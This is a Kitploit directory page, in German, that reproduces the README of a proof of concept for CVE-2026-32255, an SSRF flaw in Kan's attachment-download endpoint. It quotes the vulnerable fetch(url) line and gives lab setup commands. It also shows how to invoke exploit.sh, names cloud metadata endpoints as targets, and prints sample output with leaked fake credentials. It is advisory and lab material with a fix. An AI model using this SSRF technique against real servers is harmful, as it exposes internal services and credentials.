Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
poc-cve-2026-32255 — Dieses Repository enthält einen Proof of Concept (POC) für CVE-2026-32255, eine Server-Side Request Forgery (SSRF)-Schwachstelle mit hohem Schweregrad in Kan, einem Open-Source-Projektmanagement-Tool. | Kitploit
Tools/GitHubGitHub/koadt/poc-cve-2026-32255
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubkoadt/poc-cve-2026-32255

poc-cve-2026-32255

Dieses Repository enthält einen Proof of Concept (POC) für CVE-2026-32255, eine Server-Side Request Forgery (SSRF)-Schwachstelle mit hohem Schweregrad in Kan, einem Open-Source-Projektmanagement-Tool.

Repository anzeigen
23vor 6 MonatenNoch nicht geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Kan SSRF über Anhangs-Download (CVE-2026-32255) - Proof of Concept

Dieses Repository enthält einen Proof of Concept (POC) für CVE-2026-32255, eine Server-Side Request Forgery (SSRF)-Schwachstelle mit hohem Schweregrad in Kan, einem Open-Source-Projektmanagement-Tool.

Der verwundbare Endpunkt erlaubt es nicht authentifizierten Angreifern, beliebige HTTP-Anfragen vom Server aus zu senden und die vollständige Antwort zu lesen, wodurch Zugriff auf interne Dienste und Cloud-Metadaten-Endpunkte ermöglicht wird.

Inhaltsverzeichnis

  1. Schwachstellendetails
  2. Ausführen des POC
  3. Verwendung des Exploit-Skripts
  4. So beheben Sie die Schwachstelle
  5. Haftungsausschluss

Schwachstellendetails

CVE-Informationen

  • CVE-ID: CVE-2026-32255
  • Betroffene Versionen: Kan <= 0.5.4
  • Behobene Version: 0.5.5
  • CVSS-Score: 8.6 (Hoch)
  • CVSS-Vektor:
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
  • CWE: CWE-918 (Server-Side Request Forgery)
  • Beschreibung

    Die Datei apps/web/src/pages/api/download/attatchment.ts stellt einen GET /api/download/attatchment-Endpunkt bereit, der als Proxy für Anhangs-Downloads aus dem S3-Speicher dient. Der Endpunkt akzeptiert einen benutzergesteuerten url-Query-Parameter und übergibt ihn direkt an fetch() serverseitig, ohne jegliche Validierung oder Authentifizierung:

    root@kitploit:~
    const upstream = await fetch(url); // no validation on `url`
    

    Ein Angreifer kann eine beliebige URL angeben, wodurch der Server eine HTTP-Anfrage an dieses Ziel sendet und den vollständigen Antworttext an den Client zurückgibt. Dies ist ein SSRF mit vollständigem Lesezugriff (nicht blind), was bedeutet, dass der Angreifer den gesamten Antwortinhalt lesen kann.

    Auswirkungen

    • Zugriff auf interne Dienste, die nicht über das Internet erreichbar sind
    • Lesen von Cloud-Metadaten-Endpunkten (z. B. http://169.254.169.254/ bei AWS/GCP)
    • Port-Scanning interner Netzwerke
    • Exfiltration sensibler Daten aus internen APIs

    Referenzen

    • NVD - CVE-2026-32255
    • GitHub Security Advisory - GHSA-qrx8-9hc6-jvqg
    • Fix-Commit

    Ausführen des POC

    Voraussetzungen

    • Docker und Docker Compose
    • Bash
    • curl

    Schritt 1: Eine verwundbare Kan-Instanz ausführen

    Klonen und starten Sie Kan v0.5.4 (die letzte verwundbare Version):

    root@kitploit:~
    git clone --branch v0.5.4 https://github.com/kanbn/kan.git
    cd kan
    

    Konfigurieren Sie die erforderlichen Umgebungsvariablen:

    root@kitploit:~
    cat > .env <<'EOF'
    NEXT_PUBLIC_BASE_URL=http://localhost:3000
    BETTER_AUTH_SECRET=poc-secret-not-for-production-use
    POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db
    POSTGRES_PASSWORD=kan
    REDIS_URL=redis://localhost:6379
    NEXT_PUBLIC_STORAGE_URL=http://localhost:9000
    EOF
    

    Hinweis: Wenn Sie einen Fehler bezüglich dokploy-network erhalten, entfernen Sie die dokploy-network-Referenzen aus docker-compose.yml (Zeilen 9, 130-131) und führen Sie docker compose up -d erneut aus. Dieses Netzwerk wird lokal nicht benötigt.

    Starten Sie die Container:

    root@kitploit:~
    docker compose up -d
    

    Die Anwendung sollte unter http://localhost:3000 verfügbar sein.

    Schritt 2: Den simulierten internen Dienst starten

    Starten Sie in einem separaten Terminal den enthaltenen Mock-Internen-Dienst, der eine sensible interne API simuliert:

    root@kitploit:~
    python3 internal-service.py
    

    Dies startet einen Server auf Port 8888, der gefälschte Anmeldedaten zurückgibt und einen Dienst simuliert, der nur aus dem internen Netzwerk erreichbar sein sollte. In einem realen Szenario wäre dieser Dienst hinter einer Firewall isoliert und von außen nicht erreichbar. Die SSRF ermöglicht es dem Angreifer, ihn über den Server zu erreichen.

    Schritt 3: Den Exploit ausführen

    root@kitploit:~
    chmod +x exploit.sh
    ./exploit.sh http://localhost:3000
    

    Verwendung des Exploit-Skripts

    Verwendung

    root@kitploit:~
    ./exploit.sh <target-url> [internal-url]
    
    • <target-url>: Basis-URL der Kan-Instanz (z. B. http://localhost:3000)
    • [internal-url]: Interne URL, die per SSRF abgerufen werden soll (optional, wird automatisch über das Docker-Bridge-Gateway erkannt)

    Beispiel

    root@kitploit:~
    ./exploit.sh http://localhost:3000
    
    root@kitploit:~
    === CVE-2026-32255 - Kan SSRF via Attachment Download ===
    Target: http://localhost:3000
    Internal URL: http://172.17.0.1:8888
    
    [*] Checking if endpoint is reachable...
    [+] Endpoint is reachable (HTTP 400)
    
    [*] Attempting SSRF to http://172.17.0.1:8888 ...
    [+] VULNERABLE - Server fetched internal resource
    
    Leaked content:
    ------------------------------------------------------------
    {
      "service": "internal-config-api",
      "credentials": {
        "db_host": "10.0.0.5",
        "db_user": "admin",
        "db_password": "s3cret_passw0rd!",
        "api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c"
      }
    }
    ------------------------------------------------------------
    

    So beheben Sie die Schwachstelle

    Kan aktualisieren (empfohlen)

    Aktualisieren Sie auf Kan v0.5.5 oder neuer, das den url-Parameter vor dem Proxy der Anfrage gegen den konfigurierten S3-Endpunkt-Hostnamen validiert.

    Workaround: Blockierung am Reverse-Proxy

    Wenn Sie nicht sofort aktualisieren können, blockieren Sie den externen Zugriff auf den verwundbaren Endpunkt auf Ebene Ihres Reverse-Proxys.


    Haftungsausschluss

    Dieser Proof of Concept wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.

    Der Autor ist nicht verantwortlich für jeglichen Missbrauch der in diesem Repository bereitgestellten Informationen oder Tools. Unautorisierter Zugriff auf Computersysteme ist illegal.


    Entdeckt von: kOaDT ([email protected])

    Tool herunterladen